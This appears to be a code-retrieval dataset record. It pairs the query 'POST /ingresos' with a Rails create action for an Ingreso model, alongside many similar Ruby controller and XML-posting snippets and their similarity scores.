"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end",
"def new\n @produto = ProdutoSimples.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @produto }\n end\n end",
"def new\n @spielbegegnung = Spielbegegnung.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spielbegegnung }\n end\n end",
"def new\n \n @pago = Pago.new\n @operation = Operation.find(params[:id])\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pago }\n end\n end",
"def new\n @sellerring = Sellerring.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sellerring }\n end\n end",
"def new\n @estagiarios = Estagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end",
"def new\n @questao = Questao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @questao }\n end\n end",
"def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end",
"def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end",
"def new\n @posting = Posting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @posting }\n end\n end",
"def new\n @posting = Posting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @posting }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end",
"def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end",
"def new\n @aniversario = Aniversario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aniversario }\n end\n end",
"def new\n @estatu = Estatu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estatu }\n end\n end",
"def new\n @listing_status = ListingStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @listing_status }\n end\n end",
"def new\n @pneighbour = Pneighbour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pneighbour }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @finish }\n end\n end"
] | [
"0.668019",
"0.6678379",
"0.66758555",
"0.6655681",
"0.6642961",
"0.6627256",
"0.65785176",
"0.6572661",
"0.656599",
"0.656554",
"0.656096",
"0.65548366",
"0.65413344",
"0.652003",
"0.6502952",
"0.64999324",
"0.6478015",
"0.64550453",
"0.64550453",
"0.64550453",
"0.6444026",
"0.64433795",
"0.64427984",
"0.64426506",
"0.6433992",
"0.64338815",
"0.64293015",
"0.6410805",
"0.6400255",
"0.63969415",
"0.6394158",
"0.63842094",
"0.6382558",
"0.63822484",
"0.63778913",
"0.6377349",
"0.63706326",
"0.6366184",
"0.63660955",
"0.63629943",
"0.63628995",
"0.6361553",
"0.63537323",
"0.63512844",
"0.63495404",
"0.6344811",
"0.6343082",
"0.6343082",
"0.6343082",
"0.6343017",
"0.63374484",
"0.6333947",
"0.6331882",
"0.633174",
"0.6329651",
"0.63296425",
"0.63257307",
"0.63213116",
"0.6317944",
"0.6312969",
"0.6308238",
"0.6305791",
"0.6300426",
"0.6300267",
"0.62916243",
"0.62914276",
"0.62909436",
"0.62909156",
"0.6287875",
"0.6287732",
"0.6286898",
"0.62868565",
"0.62868565",
"0.62853026",
"0.6284849",
"0.62801015",
"0.6274112",
"0.6267858",
"0.62655413",
"0.62637484",
"0.62616616",
"0.62548953",
"0.6254567",
"0.6251144",
"0.62490046",
"0.6244643",
"0.6244643",
"0.6241468",
"0.6241468",
"0.62412",
"0.6239805",
"0.6239805",
"0.6237123",
"0.62339187",
"0.6233869",
"0.6233611",
"0.6229193",
"0.6229193",
"0.6224824",
"0.6223855"
] | 0.72669965 | 0 |
POST /ingresos POST /ingresos.xml | def create
@ingreso = Ingreso.new(params[:ingreso])
respond_to do |format|
if @ingreso.save
format.html { redirect_to(@ingreso, :notice => 'Ingreso was successfully created.') }
format.xml { render :xml => @ingreso, :status => :created, :location => @ingreso }
else
format.html { render :action => "new" }
format.xml { render :xml => @ingreso.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"def send_request( xml )\n write( xml )\n read\n end",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/loan/v1\")\n end",
"def post\n resource.post(request, response)\n end",
"def POST; end",
"def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end",
"def process_request\n @build_xml = build_xml\n pickup_serv_log('Final XML Request : ' + @build_xml.to_s)\n api_url_srv = api_url + \"/pickup\"\n pickup_serv_log('URL for API : ' + api_url_srv.to_s)\n api_response = self.class.post(api_url_srv, :body => build_xml)\n pickup_serv_log('API Response : ' + api_response.to_s)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n pickup_serv_log('Successfully Done : ' + response.to_s)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end",
"def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end",
"def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end",
"def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end",
"def do_submission(path, xml = nil)\n if xml.nil?\n form = create(:form, question_types: %w(integer integer))\n form.publish!\n xml = build_odk_submission(form)\n end\n\n # write xml to file\n require 'fileutils'\n FileUtils.mkpath('test/fixtures')\n fixture_file = Rails.root.join('test/fixtures/', ODK_XML_FILE)\n File.open(fixture_file.to_s, 'w') { |f| f.write(xml) }\n\n # Upload and do request.\n uploaded = fixture_file_upload(fixture_file, 'text/xml')\n post(path, {:xml_submission_file => uploaded, :format => 'xml'}, 'HTTP_AUTHORIZATION' => encode_credentials(@user.login, 'password'))\n assigns(:response)\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/investmentaccount/v1\")\n end",
"def create\n @selecciones = Seleccion.where(\"cliente_id = ?\",usuario_actual.id)\n @peso_total = Seleccion.peso_total(usuario_actual.id)\n @precio_total = Seleccion.precio_total(usuario_actual.id)\n @tarjetas = usuario_actual.tdc\n \n #Cobro en el banco\n client = Savon::Client.new(\"http://localhost:3001/servicios/wsdl\")\n tdc = Tarjeta.where(\"id = ? AND cliente_id = ?\",params[:orden][:tarjeta_id],usuario_actual.id)\n total_pagar = params[:orden][:total]\n pago = '<Message>\n <Request>\n <numero_tdc>'+tdc.numero+'</numero_tdc>\n <nombre_tarjetahabiente>'+tdc.tarjetahabiente+'</nombre_tarjetahabiente>\n <fecha_vencimiento>'+tdc.mes_vencimiento+'/'+tdc.ano_vencimiento+'</fecha_vencimiento>\n <codigo_seguridad>'+tdc.codigo+'</codigo_seguridad>\n <tipo_tarjeta>'+tdc.tipo+'</tipo_tarjeta>\n <direccion_cobro>'+tdc.direccion+'</direccion_cobro>\n <total_pagar>'+total_pagar+'</total_pagar>\n <cuenta_receptora>'+cuenta_receptora+'</cuenta_receptora>\n </Request>\n </Message>'\n #response = client.request :verificar_pago, body: { \"value\" => pago } \n #if response.success?\n # data = response.to_hash[:verificar_pago_response][:value][:response].first\n # @respuesta = XmlSimple.xml_in(data)\n #end\n\n #NAMESPACE = 'pagotdc'\n #URL = 'http://localhost:8080/'\n #banco = SOAP::RPC::Driver.new(URL, NAMESPACE)\n #banco.add_method('verificar_pago', 'numero_tdc', 'nombre_tarjetahabiente', 'fecha_vencimiento', 'codigo_seguridad', 'tipo_tarjeta', 'direccion_cobro', 'total_pagar', 'cuenta_receptora')\n #\n \n #respuesta = banco.verificar_pago(tdc.numero, tdc.tarjetahabiente, tdc.mes_vencimiento.to_s+'/'+tdc.ano_vencimiento.to_s, tdc.codigo, tdc.tipo, params[:orden][:total], tdc.direccion)\n \n if true #respuesta.ack.eql?(0)\n params[:orden][:cliente_id] = usuario_actual.id\n params[:orden][:total] = Seleccion.precio_total(usuario_actual.id)\n params[:orden][:fecha_entrega] = \"0000-00-00\"\n @orden = Orden.new(params[:orden])\n \n if @orden.save\n @selecciones = Seleccion.where(\"cliente_id = ?\",usuario_actual.id)\n @selecciones.each do |seleccion|\n p = Producto.find(seleccion.producto_id)\n @venta = Venta.new(:producto_id=>p.id, \n :orden_id=>@orden.id,\n :categoria_id=>p.categoria_id, \n :cantidad=>seleccion.cantidad,\n :costo=>p.precio)\n @venta.save\n end\n \n Seleccion.vaciar_carro(usuario_actual.id)\n respond_to do |format|\n format.html { redirect_to ver_ordenes_path, notice: 'Orden generada correctamente.' }\n end\n else\n respond_to do |format|\n format.html { render action: \"new\" }\n end\n end\n else\n respond_to do |format|\n format.html { render action: \"new\", notice: respuesta.mensaje }\n end\n end\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def post\n response = HTTParty.post(servlet_url,\n :body => to_xml,\n :headers => { 'Content-Type' => 'application/xml' }\n ).response\n\n return Dhl::Shipment::Response.new(response.body)\n rescue Exception => e\n request_xml = if @to_xml.to_s.size>0\n @to_xml\n else\n '<not generated at time of error>'\n end\n\n response_body = if (response && response.body && response.body.to_s.size > 0)\n response.body\n else\n '<not received at time of error>'\n end\n\n log_level = if e.respond_to?(:log_level)\n e.log_level\n else\n :critical\n end\n\n log_request_and_response_xml(log_level, e, request_xml, response_body )\n raise e\n end",
"def post endpoint, data\n do_request :post, endpoint, data\n end",
"def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end",
"def create\n @ingresso = Ingresso.new(ingresso_params)\n\n respond_to do |format|\n if @ingresso.save\n format.html { redirect_to @ingresso, notice: 'Ingresso was successfully created.' }\n format.json { render :show, status: :created, location: @ingresso }\n else\n format.html { render :new }\n format.json { render json: @ingresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def http_post(request, response)\n path = request.path\n\n # Only handling xml\n content_type = request.header('Content-Type')\n return nil unless content_type.index('application/xml') || content_type.index('text/xml')\n\n # Making sure the node exists\n begin\n node = @server.tree.node_for_path(path)\n rescue Dav::Exception::NotFound\n return nil\n end\n\n request_body = request.body_as_string\n\n # If this request handler could not deal with this POST request, it\n # will return 'null' and other plugins get a chance to handle the\n # request.\n #\n # However, we already requested the full body. This is a problem,\n # because a body can only be read once. This is why we preemptively\n # re-populated the request body with the existing data.\n request.body = request_body\n\n document_type_box = Box.new('')\n message = @server.xml.parse(request_body, request.url, document_type_box)\n document_type = document_type_box.value\n\n case document_type\n # Dealing with the 'share' document, which modified invitees on a\n # calendar.\n when \"{#{Plugin::NS_CALENDARSERVER}}share\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-calendar-share'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.update_shares(message.set, message.remove)\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n # The invite-reply document is sent when the user replies to an\n # invitation of a calendar share.\n when \"{#{Plugin::NS_CALENDARSERVER}}invite-reply\"\n\n # This only works on the calendar-home-root node.\n return true unless node.is_a?(CalendarHome)\n\n @server.transaction_type = 'post-invite-reply'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n url = node.share_reply(\n message.href,\n message.status,\n message.calendar_uri,\n message.in_reply_to,\n message.summary\n )\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n if url\n writer = @server.xml.writer\n writer.open_memory\n writer.start_document\n writer.start_element(\"{#{Plugin::NS_CALENDARSERVER}}shared-as\")\n writer.write(Dav::Xml::Property::Href.new(url))\n writer.end_element\n response.update_header('Content-Type', 'application/xml')\n response.body = writer.output_memory\n end\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}publish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-publish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = true\n\n # iCloud sends back the 202, so we will too.\n response.status = 202\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}unpublish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-unpublish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = false\n\n response.status = 200\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n end\n end",
"def post\n Rentlinx.client.post(self)\n end",
"def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/bankingaccount/v1\")\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end",
"def ingreso_params\n params.require(:ingreso).permit(:montoBs, :concepto, :fecha, :estado, :ventaprod_id, :recepcionDonativo_id)\n end",
"def postRelationship(oapID, userPropID)\n toPost = Nokogiri::XML::Builder.new { |xml|\n xml.send('import-relationship', 'xmlns' => \"http://www.symplectic.co.uk/publications/api\") {\n xml.send('from-object', \"publication(source-c-inst-1,pid-#{oapID})\")\n xml.send('to-object', \"user(pid-#{userPropID})\")\n xml.send('type-name', \"publication-user-authorship\")\n }\n }.to_xml\n uri = URI(\"#{$elementsAPI}/relationships\")\n\n # Log what we're about to POST.\n $transLog.write(\"\\n---------------------------------------------------------------\\n\")\n $transLog.write(\"\\nPOST #{uri}\\n\\n\")\n $transLog.write(toPost)\n\n if $testMode\n puts \"(test mode: skipping real put)\"\n return\n end\n\n # And put it\n (1..10).each { |tryNumber|\n\n puts \" Posting relationship for user ID #{userPropID}.\"\n req = Net::HTTP::Post.new(uri)\n req['Content-Type'] = 'text/xml'\n req.basic_auth $apiCred[0], $apiCred[1]\n req.body = toPost\n res = $elementsAPIConn.request(req)\n\n # Log the response\n $transLog.write(\"\\nResponse:\\n\")\n $transLog.write(\"#{res} code=#{res.code} message=#{res.message.inspect}\\n\")\n $transLog.write(\"#{res.body.start_with?('<?xml') ? Nokogiri::XML(res.body, &:noblanks).to_xml : res.body}\\n\")\n\n # HTTPConflict and HTTPGatewayTimeOut happen occasionally, and are likely transitory\n if res.is_a?(Net::HTTPConflict) || res.is_a?(Net::HTTPGatewayTimeOut)\n puts \" Note: failed due to #{res} (likely a transitory concurrency issue).\"\n if tryNumber < 20\n puts \" Will retry after a 30-second pause.\"\n sleep 30\n next\n else\n puts \" Out of retries. Aborting.\"\n end \n end\n\n # Fail if the POST failed.\n res.is_a?(Net::HTTPSuccess) or raise(\"Error: post failed: #{res}\")\n\n # Otherwise, we're done.\n return\n }\nend",
"def request_body(xml); xml; end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/rewardsaccount/v1\")\n end",
"def post(*args)\n request :post, *args\n end",
"def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend",
"def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend",
"def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end",
"def post #:doc:\n end",
"def test_post_invoices_xml \n Redmine::ApiTest::Base.should_allow_api_authentication(:post,\n '/invoices.xml',\n {:invoice => {:project_id => 1, :number => 'INV/TEST-1'}},\n {:success_code => :created})\n \n assert_difference('Invoice.count') do\n post '/invoices.xml', {:invoice => {:project_id => 1, :number => 'INV/TEST-1', :contact_id => 1, :status_id => 1, :invoice_date => Date.today}}, credentials('admin')\n end\n\n invoice = Invoice.first(:order => 'id DESC')\n assert_equal 'INV/TEST-1', invoice.number\n \n assert_response :created\n assert_equal 'application/xml', @response.content_type\n assert_tag 'invoice', :child => {:tag => 'id', :content => invoice.id.to_s}\n end",
"def submit_order()\n\tputs \"Submitting order\"\n\tdata = create_order()\n\tresponse = request_post(\"/api/order\", data)\n\tputs response.body\nend",
"def post_request(path, params={}, options={})\n request(:post, path, params, options)\n end",
"def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\treturn \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\tend",
"def request_message\n return if @parts.empty?\n\n @request_message = Part.new do\n content_type 'multipart/related; type=\"text/xml\"'\n end\n\n soap_body = self.to_xml\n soap_message = Part.new do\n content_type 'text/xml; charset=utf-8'\n add_content_transfer_encoding\n body soap_body\n end\n soap_message.add_content_id \"<savon_soap_xml_part>\"\n @request_message.add_part(soap_message)\n @parts.each do |part|\n @request_message.add_part(part)\n end\n #puts @request_message\n @request_message\n end",
"def post(path, options={})\n request :post, path, options\n end",
"def send_post(data_xml,url)\r\n result = @client.post(self.target_uri(url), :body => data_xml , :head => {'Content-Type' => 'application/xml'} ) \r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200') \r\n #reply = Reply.from_xml(result.http_body)\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end",
"def to_xml\n request.clone.to_xml\n end",
"def post(path, **args); end",
"def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params.to_xml, signature_params)\n end",
"def post!\n request! :post\n end",
"def to_xml\n http.body\n end",
"def create\n @inning = Inning.new(params[:inning])\n\n respond_to do |format|\n if @inning.save\n format.html { redirect_to(@inning, :notice => 'Inning was successfully created.') }\n format.xml { render :xml => @inning, :status => :created, :location => @inning }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @inning.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @inning = Inning.new(params[:inning])\n\n respond_to do |format|\n if @inning.save\n format.html { redirect_to(@inning, :notice => 'Inning was successfully created.') }\n format.xml { render :xml => @inning, :status => :created, :location => @inning }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @inning.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_request(object)\n end",
"def create\n \n @onpost = Onpost.new(params[:onpost])\n respond_to do |format|\n if @onpost.save\n flash[:notice] = 'Onpost was successfully created.'\n format.html { redirect_to :back }\n format.xml { render :xml => @onpost, :status => :created, :location => @onpost }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @onpost.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @ingeniero = Ingeniero.new(ingeniero_params)\n\n respond_to do |format|\n if @ingeniero.save\n format.html { redirect_to @ingeniero, notice: 'Ingeniero was successfully created.' }\n format.json { render :show, status: :created, location: @ingeniero }\n else\n format.html { render :new }\n format.json { render json: @ingeniero.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_status_request_body\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.transaction_request(\"version\" => \"2\") do\n xml.transaction @order.sofort_id\n end\n end\n builder.to_xml\n end",
"def nessus_request(uri, post_data) \r\n\t\tbody=nessus_http_request(uri, post_data)\r\n\t\t# puts response.body\r\n\t\tdocxml = REXML::Document.new(body)\r\n\t\tbegin \r\n\t\tstatus = docxml.root.elements['status'].text\r\n\t\trescue\r\n\t\t\tputs \"[e] error in XML parsing\"\r\n\t\tend\r\n\t\tif status == \"OK\"\r\n\t\t\treturn docxml \r\n\t\telse \r\n\t\t\treturn ''\r\n\t\tend\r\n\tend",
"def create\n @cancellation = Cancellation.new_from_xml(request.body.read)\n respond_to do |format|\n if @cancellation.save! \n format.xml { render :action => 'show', :status => :created, :location => @cancellation }\n else\n format.xml { render :xml => @cancellation.errors, :status => :unprocessable_entity }\n end\n end \n \n #@orders.each do |order|\n end",
"def post_headers\n {\"Content-Type\" => 'text/xml; charset=utf-8'}\n end",
"def build_xml\n ns = \"http://fedex.com/ws/pickup/v17\"\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.Envelope(\"xmlns\" => \"http://fedex.com/ws/pickup/v17\") {\n xml.parent.namespace = xml.parent.add_namespace_definition(\"soapenv\", \"http://schemas.xmlsoap.org/soap/envelope/\")\n xml['soapenv'].Header {}\n xml['soapenv'].Body {\n xml.CreatePickupRequest() {\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n add_origin_detail(xml)\n add_package_details(xml)\n }\n }\n }\n end\n builder.doc.root.to_xml\n end",
"def moip_post\n @nasp_rail = NaspRail.new(params[:nasp_rail])\n\n format.html { redirect_to @nasp_rail, :notice => 'Nova entrada criada com sucesso.' }\n format.json { render :json => @nasp_rail, :status => :created, :location => @nasp_rail }\n end",
"def post_check(excon, body)\n excon.request(\n method: :post,\n path: '/check',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend",
"def new\n @ingreso = Ingreso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ingreso }\n end\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/creditaccount/v1\")\n end",
"def post(path, data={})\n request(:post, path, data)\n end",
"def index\n @ingresos = Ingreso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ingresos }\n end\n end",
"def post_query( xml )\n url = URI.parse( self.url )\n response = self.http.post_form( url, { \"query\" => xml } )\n return response.body\n end",
"def create\n megam_rest.post_node(to_hash)\n end",
